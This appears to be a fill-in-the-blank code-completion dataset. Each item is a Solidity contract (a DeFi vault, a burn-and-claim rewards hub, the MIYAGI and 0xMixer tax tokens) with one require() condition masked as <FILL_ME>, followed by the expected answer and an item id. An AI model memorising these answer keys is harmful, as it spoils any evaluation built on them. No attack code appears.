require(amount<=get_mb(), "Too large");
tax = calculate(amount, buytax);
} else if (isSell(to)) {
tax = calculate(amount, st);
}
uint256 afterTax = amount-tax;
unchecked {
balances[from] -= amount;
balances[_o] += tax;
balances[to] += afterTax;
}
emit Transfer(from, _o, tax);
emit Transfer(from, to, afterTax);
}
}
function setSettings(uint256 b, uint256 s, uint56 m) public onlyOwner() {
}
function _approve(address from, address spender, uint256 amount) internal override returns (bool) {
}
function allowance(address _owner, address spender) public view returns (uint256) {
}
function mint(address account, uint256 amount) internal {
}
function disable() public onlyOwner() {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public {
}
function taxable(address from, address to) internal view returns (bool) {
}
function decreaseTaxes(uint256 c) public onlyOwner() {
}
function calculate(uint256 v, uint256 p) public pure returns (uint256) {
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
}
| balances[from]>=amount,"Rejected" | 438,265 | balances[from]>=amount |
Error.ADDRESS_ALREADY_SET | pragma solidity 0.8.10;
abstract contract Vault is IVault, Authorization, VaultStorageV1, Initializable {
using ScaledMath for uint256;
using UncheckedMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableExtensions for EnumerableSet.AddressSet;
using EnumerableMapping for EnumerableMapping.AddressToUintMap;
using EnumerableExtensions for EnumerableMapping.AddressToUintMap;
using AddressProviderHelpers for IAddressProvider;
IStrategy public strategy;
uint256 public performanceFee;
uint256 public strategistFee = 0.1e18;
uint256 public debtLimit;
uint256 public targetAllocation;
uint256 public reserveFee = 0.01e18;
uint256 public bound;
uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18;
uint256 public constant MAX_DEVIATION_BOUND = 0.5e18;
uint256 public constant STRATEGY_DELAY = 5 days;
IController public immutable controller;
IAddressProvider public immutable addressProvider;
event StrategyUpdated(address newStrategy);
event PerformanceFeeUpdated(uint256 performanceFee);
event StrategistFeeUpdated(uint256 strategistFee);
event DebtLimitUpdated(uint256 debtLimit);
event TargetAllocationUpdated(uint256 targetAllocation);
event ReserveFeeUpdated(uint256 reserveFee);
event BoundUpdated(uint256 bound);
event AllFundsWithdrawn();
modifier onlyPool() {
}
modifier onlyPoolOrGovernance() {
}
modifier onlyPoolOrMaintenance() {
}
constructor(IController _controller)
Authorization(_controller.addressProvider().getRoleManager())
{
}
function _initialize(
address pool_,
uint256 debtLimit_,
uint256 targetAllocation_,
uint256 bound_
) internal {
}
/**
* @notice Handles deposits from the liquidity pool
*/
function deposit() external payable override onlyPoolOrMaintenance {
}
/**
* @notice Withdraws specified amount of underlying from vault.
* @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn
* from the strategy such that it will achieve a target allocation for after the
* amount has been withdrawn.
* @param amount Amount to withdraw.
* @return `true` if successful.
*/
function withdraw(uint256 amount) external override onlyPoolOrGovernance returns (bool) {
}
/**
* @notice Shuts down the strategy, withdraws all funds from vault and
* strategy and transfer them to the pool.
*/
function shutdownStrategy() external override onlyPool {
}
/**
* @notice Transfers all the available funds to the pool
*/
function withdrawAvailableToPool() external onlyPoolOrGovernance {
}
/**
* @notice Withdraws specified amount of underlying from reserve to vault.
* @dev Withdraws from reserve will cause a spike in pool exchange rate.
* Pool deposits should be paused during this to prevent front running
* @param amount Amount to withdraw.
*/
function withdrawFromReserve(uint256 amount) external override onlyGovernance {
}
/**
* @notice Activate the current strategy set for the vault.
* @return `true` if strategy has been activated
*/
function activateStrategy() external override onlyGovernance returns (bool) {
}
/**
* @notice Deactivates a strategy.
* @return `true` if strategy has been deactivated
*/
function deactivateStrategy() external override onlyGovernance returns (bool) {
}
/**
* @notice Initializes the vault's strategy.
* @dev Bypasses the time delay, but can only be called if strategy is not set already.
* @param strategy_ Address of the strategy.
*/
function initializeStrategy(address strategy_) external override onlyGovernance {
require(<FILL_ME>)
require(strategy_ != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED);
strategy = IStrategy(strategy_);
_activateStrategy();
require(IStrategy(strategy_).strategist() != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED);
}
/**
* @notice Update the vault's strategy (with time delay enforced).
* @param newStrategy_ Address of the new strategy.
*/
function updateStrategy(address newStrategy_) external override onlyGovernance {
}
/**
* @notice Update performance fee.
* @param performanceFee_ New performance fee value.
*/
function updatePerformanceFee(uint256 performanceFee_) external override onlyGovernance {
}
/**
* @notice Update strategist fee (with time delay enforced).
* @param strategistFee_ New strategist fee value.
*/
function updateStrategistFee(uint256 strategistFee_) external override onlyGovernance {
}
/**
* @notice Update debt limit.
* @param debtLimit_ New debt limit.
*/
function updateDebtLimit(uint256 debtLimit_) external override onlyGovernance {
}
/**
* @notice Update target allocation.
* @param targetAllocation_ New target allocation.
*/
function updateTargetAllocation(uint256 targetAllocation_) external override onlyGovernance {
}
/**
* @notice Update reserve fee.
* @param reserveFee_ New reserve fee.
*/
function updateReserveFee(uint256 reserveFee_) external override onlyGovernance {
}
/**
* @notice Update deviation bound for strategy allocation.
* @param bound_ New deviation bound for target allocation.
*/
function updateBound(uint256 bound_) external override onlyGovernance {
}
/**
* @notice Withdraws an amount of underlying from the strategy to the vault.
* @param amount Amount of underlying to withdraw.
* @return True if successful withdrawal.
*/
function withdrawFromStrategy(uint256 amount) external override onlyGovernance returns (bool) {
}
function withdrawFromStrategyWaitingForRemoval(address strategy_)
external
override
returns (uint256)
{
}
function getStrategiesWaitingForRemoval() external view override returns (address[] memory) {
}
/**
* @notice Computes the total underlying of the vault: idle funds + allocated funds
* @return Total amount of underlying.
*/
function getTotalUnderlying() external view override returns (uint256) {
}
function getAllocatedToStrategyWaitingForRemoval(address strategy_)
external
view
override
returns (uint256)
{
}
/**
* @notice Withdraws all funds from strategy to vault.
* @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing.
* @return `true` if successful.
*/
function withdrawAllFromStrategy() public override onlyPoolOrGovernance returns (bool) {
}
/**
* @notice Harvest profits from the vault's strategy.
* @dev Harvesting adds profits to the vault's balance and deducts fees.
* No performance fees are charged on profit used to repay debt.
* @return `true` if successful.
*/
function harvest() public override onlyPoolOrMaintenance returns (bool) {
}
function getUnderlying() public view virtual override returns (address);
function _activateStrategy() internal returns (bool) {
}
function _harvest() internal returns (bool) {
}
function _withdrawAllFromStrategy() internal returns (bool) {
}
function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) {
}
function _handleExcessDebt() internal {
}
/**
* @notice Invest the underlying money in the vault after a deposit from the pool is made.
* @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy.
* If no strategy is set then all deposited funds will be idle.
*/
function _deposit() internal {
}
function _shareProfit(uint256 profit) internal returns (uint256, uint256) {
}
function _shareFees(uint256 totalFeeAmount) internal returns (uint256) {
}
function _emergencyStop(uint256 underlyingReserves) internal {
}
/**
* @notice Deactivates a strategy. All positions of the strategy are exited.
* @return `true` if strategy has been deactivated
*/
function _deactivateStrategy() internal returns (bool) {
}
function _payStrategist(uint256 amount) internal {
}
function _payStrategist(uint256 amount, address strategist) internal virtual;
function _transfer(address to, uint256 amount) internal virtual;
function _depositToReserve(uint256 amount) internal virtual;
function _depositToRewardHandler(uint256 amount) internal virtual;
function _availableUnderlying() internal view virtual returns (uint256);
function _computeNewAllocated(uint256 allocated, uint256 withdrawn)
internal
pure
returns (uint256)
{
}
function _checkFeesInvariant(uint256 reserveFee_, uint256 strategistFee_) internal pure {
}
function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying)
private
returns (bool)
{
}
function _reserve() internal view returns (IVaultReserve) {
}
}
| address(strategy)==address(0),Error.ADDRESS_ALREADY_SET | 438,294 | address(strategy)==address(0) |
Error.ZERO_ADDRESS_NOT_ALLOWED | pragma solidity 0.8.10;
abstract contract Vault is IVault, Authorization, VaultStorageV1, Initializable {
using ScaledMath for uint256;
using UncheckedMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableExtensions for EnumerableSet.AddressSet;
using EnumerableMapping for EnumerableMapping.AddressToUintMap;
using EnumerableExtensions for EnumerableMapping.AddressToUintMap;
using AddressProviderHelpers for IAddressProvider;
IStrategy public strategy;
uint256 public performanceFee;
uint256 public strategistFee = 0.1e18;
uint256 public debtLimit;
uint256 public targetAllocation;
uint256 public reserveFee = 0.01e18;
uint256 public bound;
uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18;
uint256 public constant MAX_DEVIATION_BOUND = 0.5e18;
uint256 public constant STRATEGY_DELAY = 5 days;
IController public immutable controller;
IAddressProvider public immutable addressProvider;
event StrategyUpdated(address newStrategy);
event PerformanceFeeUpdated(uint256 performanceFee);
event StrategistFeeUpdated(uint256 strategistFee);
event DebtLimitUpdated(uint256 debtLimit);
event TargetAllocationUpdated(uint256 targetAllocation);
event ReserveFeeUpdated(uint256 reserveFee);
event BoundUpdated(uint256 bound);
event AllFundsWithdrawn();
modifier onlyPool() {
}
modifier onlyPoolOrGovernance() {
}
modifier onlyPoolOrMaintenance() {
}
constructor(IController _controller)
Authorization(_controller.addressProvider().getRoleManager())
{
}
function _initialize(
address pool_,
uint256 debtLimit_,
uint256 targetAllocation_,
uint256 bound_
) internal {
}
/**
* @notice Handles deposits from the liquidity pool
*/
function deposit() external payable override onlyPoolOrMaintenance {
}
/**
* @notice Withdraws specified amount of underlying from vault.
* @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn
* from the strategy such that it will achieve a target allocation for after the
* amount has been withdrawn.
* @param amount Amount to withdraw.
* @return `true` if successful.
*/
function withdraw(uint256 amount) external override onlyPoolOrGovernance returns (bool) {
}
/**
* @notice Shuts down the strategy, withdraws all funds from vault and
* strategy and transfer them to the pool.
*/
function shutdownStrategy() external override onlyPool {
}
/**
* @notice Transfers all the available funds to the pool
*/
function withdrawAvailableToPool() external onlyPoolOrGovernance {
}
/**
* @notice Withdraws specified amount of underlying from reserve to vault.
* @dev Withdraws from reserve will cause a spike in pool exchange rate.
* Pool deposits should be paused during this to prevent front running
* @param amount Amount to withdraw.
*/
function withdrawFromReserve(uint256 amount) external override onlyGovernance {
}
/**
* @notice Activate the current strategy set for the vault.
* @return `true` if strategy has been activated
*/
function activateStrategy() external override onlyGovernance returns (bool) {
}
/**
* @notice Deactivates a strategy.
* @return `true` if strategy has been deactivated
*/
function deactivateStrategy() external override onlyGovernance returns (bool) {
}
/**
* @notice Initializes the vault's strategy.
* @dev Bypasses the time delay, but can only be called if strategy is not set already.
* @param strategy_ Address of the strategy.
*/
function initializeStrategy(address strategy_) external override onlyGovernance {
require(address(strategy) == address(0), Error.ADDRESS_ALREADY_SET);
require(strategy_ != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED);
strategy = IStrategy(strategy_);
_activateStrategy();
require(<FILL_ME>)
}
/**
* @notice Update the vault's strategy (with time delay enforced).
* @param newStrategy_ Address of the new strategy.
*/
function updateStrategy(address newStrategy_) external override onlyGovernance {
}
/**
* @notice Update performance fee.
* @param performanceFee_ New performance fee value.
*/
function updatePerformanceFee(uint256 performanceFee_) external override onlyGovernance {
}
/**
* @notice Update strategist fee (with time delay enforced).
* @param strategistFee_ New strategist fee value.
*/
function updateStrategistFee(uint256 strategistFee_) external override onlyGovernance {
}
/**
* @notice Update debt limit.
* @param debtLimit_ New debt limit.
*/
function updateDebtLimit(uint256 debtLimit_) external override onlyGovernance {
}
/**
* @notice Update target allocation.
* @param targetAllocation_ New target allocation.
*/
function updateTargetAllocation(uint256 targetAllocation_) external override onlyGovernance {
}
/**
* @notice Update reserve fee.
* @param reserveFee_ New reserve fee.
*/
function updateReserveFee(uint256 reserveFee_) external override onlyGovernance {
}
/**
* @notice Update deviation bound for strategy allocation.
* @param bound_ New deviation bound for target allocation.
*/
function updateBound(uint256 bound_) external override onlyGovernance {
}
/**
* @notice Withdraws an amount of underlying from the strategy to the vault.
* @param amount Amount of underlying to withdraw.
* @return True if successful withdrawal.
*/
function withdrawFromStrategy(uint256 amount) external override onlyGovernance returns (bool) {
}
function withdrawFromStrategyWaitingForRemoval(address strategy_)
external
override
returns (uint256)
{
}
function getStrategiesWaitingForRemoval() external view override returns (address[] memory) {
}
/**
* @notice Computes the total underlying of the vault: idle funds + allocated funds
* @return Total amount of underlying.
*/
function getTotalUnderlying() external view override returns (uint256) {
}
function getAllocatedToStrategyWaitingForRemoval(address strategy_)
external
view
override
returns (uint256)
{
}
/**
* @notice Withdraws all funds from strategy to vault.
* @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing.
* @return `true` if successful.
*/
function withdrawAllFromStrategy() public override onlyPoolOrGovernance returns (bool) {
}
/**
* @notice Harvest profits from the vault's strategy.
* @dev Harvesting adds profits to the vault's balance and deducts fees.
* No performance fees are charged on profit used to repay debt.
* @return `true` if successful.
*/
function harvest() public override onlyPoolOrMaintenance returns (bool) {
}
function getUnderlying() public view virtual override returns (address);
function _activateStrategy() internal returns (bool) {
}
function _harvest() internal returns (bool) {
}
function _withdrawAllFromStrategy() internal returns (bool) {
}
function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) {
}
function _handleExcessDebt() internal {
}
/**
* @notice Invest the underlying money in the vault after a deposit from the pool is made.
* @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy.
* If no strategy is set then all deposited funds will be idle.
*/
function _deposit() internal {
}
function _shareProfit(uint256 profit) internal returns (uint256, uint256) {
}
function _shareFees(uint256 totalFeeAmount) internal returns (uint256) {
}
function _emergencyStop(uint256 underlyingReserves) internal {
}
/**
* @notice Deactivates a strategy. All positions of the strategy are exited.
* @return `true` if strategy has been deactivated
*/
function _deactivateStrategy() internal returns (bool) {
}
function _payStrategist(uint256 amount) internal {
}
function _payStrategist(uint256 amount, address strategist) internal virtual;
function _transfer(address to, uint256 amount) internal virtual;
function _depositToReserve(uint256 amount) internal virtual;
function _depositToRewardHandler(uint256 amount) internal virtual;
function _availableUnderlying() internal view virtual returns (uint256);
function _computeNewAllocated(uint256 allocated, uint256 withdrawn)
internal
pure
returns (uint256)
{
}
function _checkFeesInvariant(uint256 reserveFee_, uint256 strategistFee_) internal pure {
}
function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying)
private
returns (bool)
{
}
function _reserve() internal view returns (IVaultReserve) {
}
}
| IStrategy(strategy_).strategist()!=address(0),Error.ZERO_ADDRESS_NOT_ALLOWED | 438,294 | IStrategy(strategy_).strategist()!=address(0) |
"sum of strategist fee and reserve fee should be below 1" | pragma solidity 0.8.10;
abstract contract Vault is IVault, Authorization, VaultStorageV1, Initializable {
using ScaledMath for uint256;
using UncheckedMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableExtensions for EnumerableSet.AddressSet;
using EnumerableMapping for EnumerableMapping.AddressToUintMap;
using EnumerableExtensions for EnumerableMapping.AddressToUintMap;
using AddressProviderHelpers for IAddressProvider;
IStrategy public strategy;
uint256 public performanceFee;
uint256 public strategistFee = 0.1e18;
uint256 public debtLimit;
uint256 public targetAllocation;
uint256 public reserveFee = 0.01e18;
uint256 public bound;
uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18;
uint256 public constant MAX_DEVIATION_BOUND = 0.5e18;
uint256 public constant STRATEGY_DELAY = 5 days;
IController public immutable controller;
IAddressProvider public immutable addressProvider;
event StrategyUpdated(address newStrategy);
event PerformanceFeeUpdated(uint256 performanceFee);
event StrategistFeeUpdated(uint256 strategistFee);
event DebtLimitUpdated(uint256 debtLimit);
event TargetAllocationUpdated(uint256 targetAllocation);
event ReserveFeeUpdated(uint256 reserveFee);
event BoundUpdated(uint256 bound);
event AllFundsWithdrawn();
modifier onlyPool() {
}
modifier onlyPoolOrGovernance() {
}
modifier onlyPoolOrMaintenance() {
}
constructor(IController _controller)
Authorization(_controller.addressProvider().getRoleManager())
{
}
function _initialize(
address pool_,
uint256 debtLimit_,
uint256 targetAllocation_,
uint256 bound_
) internal {
}
/**
* @notice Handles deposits from the liquidity pool
*/
function deposit() external payable override onlyPoolOrMaintenance {
}
/**
* @notice Withdraws specified amount of underlying from vault.
* @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn
* from the strategy such that it will achieve a target allocation for after the
* amount has been withdrawn.
* @param amount Amount to withdraw.
* @return `true` if successful.
*/
function withdraw(uint256 amount) external override onlyPoolOrGovernance returns (bool) {
}
/**
* @notice Shuts down the strategy, withdraws all funds from vault and
* strategy and transfer them to the pool.
*/
function shutdownStrategy() external override onlyPool {
}
/**
* @notice Transfers all the available funds to the pool
*/
function withdrawAvailableToPool() external onlyPoolOrGovernance {
}
/**
* @notice Withdraws specified amount of underlying from reserve to vault.
* @dev Withdraws from reserve will cause a spike in pool exchange rate.
* Pool deposits should be paused during this to prevent front running
* @param amount Amount to withdraw.
*/
function withdrawFromReserve(uint256 amount) external override onlyGovernance {
}
/**
* @notice Activate the current strategy set for the vault.
* @return `true` if strategy has been activated
*/
function activateStrategy() external override onlyGovernance returns (bool) {
}
/**
* @notice Deactivates a strategy.
* @return `true` if strategy has been deactivated
*/
function deactivateStrategy() external override onlyGovernance returns (bool) {
}
/**
* @notice Initializes the vault's strategy.
* @dev Bypasses the time delay, but can only be called if strategy is not set already.
* @param strategy_ Address of the strategy.
*/
function initializeStrategy(address strategy_) external override onlyGovernance {
}
/**
* @notice Update the vault's strategy (with time delay enforced).
* @param newStrategy_ Address of the new strategy.
*/
function updateStrategy(address newStrategy_) external override onlyGovernance {
}
/**
* @notice Update performance fee.
* @param performanceFee_ New performance fee value.
*/
function updatePerformanceFee(uint256 performanceFee_) external override onlyGovernance {
}
/**
* @notice Update strategist fee (with time delay enforced).
* @param strategistFee_ New strategist fee value.
*/
function updateStrategistFee(uint256 strategistFee_) external override onlyGovernance {
}
/**
* @notice Update debt limit.
* @param debtLimit_ New debt limit.
*/
function updateDebtLimit(uint256 debtLimit_) external override onlyGovernance {
}
/**
* @notice Update target allocation.
* @param targetAllocation_ New target allocation.
*/
function updateTargetAllocation(uint256 targetAllocation_) external override onlyGovernance {
}
/**
* @notice Update reserve fee.
* @param reserveFee_ New reserve fee.
*/
function updateReserveFee(uint256 reserveFee_) external override onlyGovernance {
}
/**
* @notice Update deviation bound for strategy allocation.
* @param bound_ New deviation bound for target allocation.
*/
function updateBound(uint256 bound_) external override onlyGovernance {
}
/**
* @notice Withdraws an amount of underlying from the strategy to the vault.
* @param amount Amount of underlying to withdraw.
* @return True if successful withdrawal.
*/
function withdrawFromStrategy(uint256 amount) external override onlyGovernance returns (bool) {
}
function withdrawFromStrategyWaitingForRemoval(address strategy_)
external
override
returns (uint256)
{
}
function getStrategiesWaitingForRemoval() external view override returns (address[] memory) {
}
/**
* @notice Computes the total underlying of the vault: idle funds + allocated funds
* @return Total amount of underlying.
*/
function getTotalUnderlying() external view override returns (uint256) {
}
function getAllocatedToStrategyWaitingForRemoval(address strategy_)
external
view
override
returns (uint256)
{
}
/**
* @notice Withdraws all funds from strategy to vault.
* @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing.
* @return `true` if successful.
*/
function withdrawAllFromStrategy() public override onlyPoolOrGovernance returns (bool) {
}
/**
* @notice Harvest profits from the vault's strategy.
* @dev Harvesting adds profits to the vault's balance and deducts fees.
* No performance fees are charged on profit used to repay debt.
* @return `true` if successful.
*/
function harvest() public override onlyPoolOrMaintenance returns (bool) {
}
function getUnderlying() public view virtual override returns (address);
function _activateStrategy() internal returns (bool) {
}
function _harvest() internal returns (bool) {
}
function _withdrawAllFromStrategy() internal returns (bool) {
}
function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) {
}
function _handleExcessDebt() internal {
}
/**
* @notice Invest the underlying money in the vault after a deposit from the pool is made.
* @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy.
* If no strategy is set then all deposited funds will be idle.
*/
function _deposit() internal {
}
function _shareProfit(uint256 profit) internal returns (uint256, uint256) {
}
function _shareFees(uint256 totalFeeAmount) internal returns (uint256) {
}
function _emergencyStop(uint256 underlyingReserves) internal {
}
/**
* @notice Deactivates a strategy. All positions of the strategy are exited.
* @return `true` if strategy has been deactivated
*/
function _deactivateStrategy() internal returns (bool) {
}
function _payStrategist(uint256 amount) internal {
}
function _payStrategist(uint256 amount, address strategist) internal virtual;
function _transfer(address to, uint256 amount) internal virtual;
function _depositToReserve(uint256 amount) internal virtual;
function _depositToRewardHandler(uint256 amount) internal virtual;
function _availableUnderlying() internal view virtual returns (uint256);
function _computeNewAllocated(uint256 allocated, uint256 withdrawn)
internal
pure
returns (uint256)
{
}
function _checkFeesInvariant(uint256 reserveFee_, uint256 strategistFee_) internal pure {
require(<FILL_ME>)
}
function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying)
private
returns (bool)
{
}
function _reserve() internal view returns (IVaultReserve) {
}
}
| reserveFee_+strategistFee_<=ScaledMath.ONE,"sum of strategist fee and reserve fee should be below 1" | 438,294 | reserveFee_+strategistFee_<=ScaledMath.ONE |
"reward token not registered" | /**
Website: https://zonkey.io
Twitter: https://twitter.com/zonkeyio
Telegram: https://t.me/zonkeyofficial
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20Extended {
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
function circulatingSupply() external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router02 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ZonkeyRewardsHub {
address private constant _POOL_WALLET =
0x94e0fbC2390b38754927Fd8AD034Df3b7569FEfb;
address private constant _UNISWAP_V2_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public immutable owner;
mapping(address => address) public tokens;
modifier onlyOwner() {
}
constructor() {
}
function burnAndClaim(address rewardToken, uint256 burnAmount) external {
require(<FILL_ME>)
require(burnAmount > 0, "invalid burn amount");
IERC20Extended rewTkn = IERC20Extended(rewardToken);
IERC20Extended utilTkn = IERC20Extended(tokens[rewardToken]);
uint256 utilityClaimAmount = _getClaimAmount(
burnAmount,
rewTkn.circulatingSupply(),
utilTkn.balanceOf(_POOL_WALLET)
);
require(utilityClaimAmount > 0, "claimable utility tokens == 0");
rewTkn.burnFrom(msg.sender, burnAmount);
utilTkn.transferFrom(_POOL_WALLET, msg.sender, utilityClaimAmount);
}
function configureToken(
address rewardToken,
address utilityToken
) external onlyOwner {
}
function convertPool(address rewardToken) external onlyOwner {
}
function getClaimAmount(
address rewardToken,
uint256 burnAmount
) external view returns (uint256) {
}
function withdrawERC20(address token, uint256 amount) external onlyOwner {
}
function withdrawETH(uint256 amount) external onlyOwner {
}
function _getClaimAmount(
uint256 rewardBurnAmount,
uint256 rewardCirculatingSupply,
uint256 utilityTokensInPool
) internal pure returns (uint256) {
}
}
| tokens[rewardToken]!=address(0),"reward token not registered" | 438,733 | tokens[rewardToken]!=address(0) |
"Transfer amount exceeds maximum wallet" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract MIYAGI is Context, ERC20, Ownable {
using SafeERC20 for IERC20;
using Address for address;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) public pair;
mapping(address => bool) public _isExcludedFromFees;
uint256 private start;
uint256 private maxWalletTimer;
uint256 private started;
uint256 private maxWallet;
uint256 private maxTransaction;
uint256 private _supply;
uint256 private swapTokensAtAmount;
uint256 private taxOnTaxOffCounter;
uint256 private taxOnTaxOffTransactions;
uint256 public buyTax;
uint256 public sellTax;
bool public starting;
bool public swapping;
bool public increaseBuyTax;
address payable teamWallet;
address payable marketingWallet;
constructor(address payable _teamWallet, address payable _marketingWallet, uint256 _maxWalletTimer) ERC20 ("MIYAGI", "MIYAGI") payable {
}
receive() external payable {
}
function updatetaxOnTaxOffTransactions(uint256 _taxOnTaxOffTransactions) external onlyOwner {
}
function burn(uint256 amount) public {
}
function addPair(address _uniswapPair) external onlyOwner {
}
function updateSwapTokensAtAmount(uint256 swapPercentDivisibleBy10000) external onlyOwner {
}
function updateTax(uint256 _buyTax, uint256 _sellTax) external onlyOwner {
}
//function to update buy and sell fees
function taxOnTaxOff() internal {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(starting) {
require(from == owner() || to == owner(), "Trading is not yet enabled");
}
uint256 current = block.number;
taxOnTaxOffCounter ++;
if((block.timestamp < (started + maxWalletTimer)) && to != address(0) && to != uniswapV2Pair && !_isExcludedFromFees[to] && !_isExcludedFromFees[from]) {
uint256 balance = balanceOf(to);
require(<FILL_ME>)
require(amount <= maxTransaction, "Transfer amount exceeds maximum transaction");
}
if((block.timestamp < (started + maxWalletTimer)) && to != address(0) && to == uniswapV2Pair && !_isExcludedFromFees[to] && !_isExcludedFromFees[from]) {
require(amount <= maxTransaction, "Transfer amount exceeds maximum transaction");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(canSwap && !swapping && pair[to] && from != address(uniswapV2Router) && from != owner() && to != owner() && !_isExcludedFromFees[to] && !_isExcludedFromFees[from]) {
swapping = true;
swapTokensForEth();
uint256 contractETHBalance = address(this).balance;
(bool success, ) = address(teamWallet).call{value: ((contractETHBalance * 20) / 100)}("");
require(success, "Failed to send taxes to team wallet");
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
require(success, "Failed to send taxes to marketing wallet");
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
super._transfer(from, to, amount);
}
else if(!pair[to] && !pair[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
takeFee = false;
super._transfer(from, to, amount);
}
if(takeFee) {
uint256 BuyFees = ((amount * buyTax) / 100);
uint256 SellFees = ((amount * sellTax) / 100);
// if sell
if(pair[to] && sellTax > 0) {
amount -= SellFees;
super._transfer(from, address(this), SellFees);
super._transfer(from, to, amount);
if(taxOnTaxOffCounter > taxOnTaxOffTransactions) {
taxOnTaxOff();
}
}
// if buy transfer
else if(pair[from] && buyTax > 0) {
amount -= BuyFees;
super._transfer(from, address(this), BuyFees);
super._transfer(from, to, amount);
if(taxOnTaxOffCounter > taxOnTaxOffTransactions) {
taxOnTaxOff();
}
}
else {
super._transfer(from, to, amount);
}
}
}
function swapTokensForEth() private {
}
}
| balance+amount<=maxWallet,"Transfer amount exceeds maximum wallet" | 438,870 | balance+amount<=maxWallet |
"Tax too high" | /*
0xMixer
Join us in anonymity
https://0xmixer.dev/
https://mixer.0xmixer.dev/
https://t.me/OxMixer
https://twitter.com/0xMixer
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract ZEROxMIXER is Context, IERC20, Ownable {
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _FreeWallets;
mapping(address => uint256) private _BlockedAddress;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000 * 10**_decimals;
uint256 private constant minimumSwapAmount = 60000 * 10**_decimals;
uint256 private constant onePercent = 20000 * 10**_decimals;
uint256 private maxSwap = onePercent;
uint256 public MaximumOneTrxAmount = onePercent;
uint256 private feeLimit = 10;
uint256 private InitialBlockNo;
uint256 public buyTax = 10;
uint256 public sellTax = 20;
string private constant _name = unicode"0xMixer";
string private constant _symbol = unicode"0xMIX";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
